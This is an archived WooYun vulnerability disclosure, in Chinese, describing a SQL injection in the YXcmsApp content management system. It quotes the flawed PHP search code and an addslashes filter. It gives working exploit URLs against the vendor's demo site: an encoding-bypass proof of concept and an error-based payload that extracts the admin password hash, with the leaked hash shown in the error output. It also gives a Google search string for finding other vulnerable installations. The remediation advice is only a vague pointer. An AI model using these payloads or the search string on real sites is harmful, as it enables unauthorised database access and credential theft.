破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

YXcmsApp 注入 漏洞

编号46534
Urlhttp://www.wooyun.org/bug.php?action=view&id=46534
漏洞状态未联系到厂商或者厂商积极忽略
漏洞标题YXcmsApp 注入 漏洞
漏洞类型SQL注射漏洞
厂商YXcmsApp
白帽子想要减肥的胖纸
提交日期2013-12-20 14:50:00
公开日期2014-03-20 14:50:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签sql注入
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank0
漏洞简介
开发人员对安全意识不足
漏洞细节

这楼的没啥技术含量,本菜鸟刚接触代码审计,可能分析的不对。
漏洞文件protected\apps\default\controller\indexController.php
关键代码

public function search()
{
if(empty($_GET['keywords'])||empty($_GET['type'])) $this->error('搜索条件不足~');
$keywords=in(urldecode(trim($_GET['keywords'])));
$type=in($_GET['type']);
$listRows=10;//每页显示的信息条数,2n偶数
$url=url('index/search',array('keywords'=>urlencode($keywords),'type'=>$type,'page'=>'{page}'));
$where="ispass='1' AND (title like '%".$keywords."%' OR description like '%".$keywords."%')";


全局过滤代码
protected\include\lib\common.function.php

function in($data,$force=false){
if(is_string($data)){
$data=trim(htmlspecialchars($data));//防止被挂马,跨站攻击
if(($force==true)||(!get_magic_quotes_gpc())) {
$data = addslashes($data);//防止sql注入
}
return $data;
} else if(is_array($data)) {
foreach($data as $key=>$value){
$data[$key]=in($value,$force);
}
return $data;
} else {
return $data;
}
}


keywords 靠addslashes这个过滤,无语了

POC

http://demo.yxcms.net/index.php?r=default/index/search&keywords=a%2527%C2%95%C2%8A&type=all

出错信息: MySQL Query Error
SQL: SELECT count(*) FROM yx_news WHERE ispass='1' AND (title like '%a'•Š%' OR description like '%a'•Š%')
错误详情: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '•Š%' OR description like '%a'•Š%')' at line 1
错误代码:1064


危害
google search
inurl:index.php?r=default/page
http://www.google.com.hk/#newwindow=1&q=inurl:index.php%3Fr%3Ddefault/page&safe=strict&start=90
用的也比较多了 算通用了吧。
其实很多地方引用这个过滤。。顺便送个爆hash exp

http://demo.yxcms.net/index.php?r=default%2Fextend%2Findex&id=100023%20AND%20%28SELECT%201660%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x716d667271%2C%28SELECT%20MID%28%28IFNULL%28CAST%28password%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20yx_admin%20WHERE%20username%3D0x61646d696e%20LIMIT%200%2C1%29%2C0x716e6e7371%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29


出错信息: MySQL Query Error
SQL: SELECT id,type,name,method,url,extendid FROM yx_sort WHERE id IN(100023 AND (SELECT 1660 FROM(SELECT COUNT(*),CONCAT(0x716d667271,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,50) FROM yx_admin WHERE username=0x61646d696e LIMIT 0,1),0x716e6e7371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)) ORDER BY deep
错误详情: Duplicate entry 'qmfrq44f76bda33900c7a9b984674f283fdafqnnsq1' for key 'group_key'
错误代码:1062


我就不刷rank了。。。

修复方案

不懂开发,请自行百度下,应该有相关通用防注入代码

状态信息 2013-12-20: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-03-20: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复(not set)
回应信息未能联系到厂商或者厂商积极拒绝
Showing 1-3 of 3 items.
评论内容评论人点赞数评论时间

这个洞是什么版本的?

冉冉升起02014-10-15 14:19:00

@YY-2012 咋不是1;7了,另外哥最近混360裤带了 乌云赚钱不容易啊

X防部02014-01-04 22:15:00

前排广告,收购wb。价格1:6

YY-201202013-12-20 17:51:00